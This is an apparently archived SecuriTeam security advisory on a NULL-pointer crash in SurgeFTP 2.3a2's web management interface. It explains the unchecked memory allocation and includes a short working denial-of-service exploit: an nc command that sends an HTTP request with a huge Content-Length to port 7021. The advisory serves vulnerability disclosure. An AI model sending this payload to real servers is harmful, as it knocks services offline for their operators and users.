[NT] SurgeFTP NULL Pointer

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



SurgeFTP NULL Pointer
------------------------------------------------------------------------


SUMMARY

<http://www.netwinsite.com/surgeftp/> SurgeFTP is "a commercial FTP
server which supports also SSL/TLS and has a web interface for remote
administration". A vulnerability in the way SurgeFTP's web management
interface handles invalid Content-Length values allows remote attackers to
cause it to crash.

DETAILS

Vulnerable Systems:
* SurgeFTP version 2.3a2

When a Content-Length parameter is received from the client, SurgeFTP
tries to allocate the amount of memory (max 2147483647 bytes) specified in
this field and then copies the data in the resulted new buffer. The
problem is in the lack of checks on the result of the allocation which
leads to the crash of the entire server during the copying of the data to
a NULL pointer if that amount of memory cannot be allocated.

Exploit:
Send the following content using the following command:
nc SERVER 7021 -v -v < surgeftpizza.txt

Content:
GET / HTTP/1.0
Content-Length: 2147483647

boom


ADDITIONAL INFORMATION

The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages

  • [NEWS] OpenOffice document Heap Overflow
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A vulnerability in OpenOffice's DOC document header processing allows ... reading a DOC document information of format, a memory is allocated by DOC ... number to allocate the memory, but when reading the doc information, it ...
    (Securiteam)
  • [NT] SurgeFTP DoS Vulnerability (LEAK Command)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SurgeFTP is an FTP server with SSL/TLS ... SurgeFTP responds to a non-standard FTP command: ... 00431A67 MOV DWORD PTR SS:,EAX ...
    (Securiteam)
  • [TOOL] Fast SYN Scanner (libnet, libpcap)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... struct bpf_program cfilter; ... const unsigned char *packet; ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [NT] NetFile FTP Denial of Service (Nonexisting Username)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... multi-threaded FTP/HTTP server combined, featuring automatic virtual ... * Net File version 6.5.1 and prior ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)
  • [TOOL] P0f - Passive OS Fingerprinting Tool
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Machines that connect to your box, ... Official SYN+ACK fingerprinting support ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
    (Securiteam)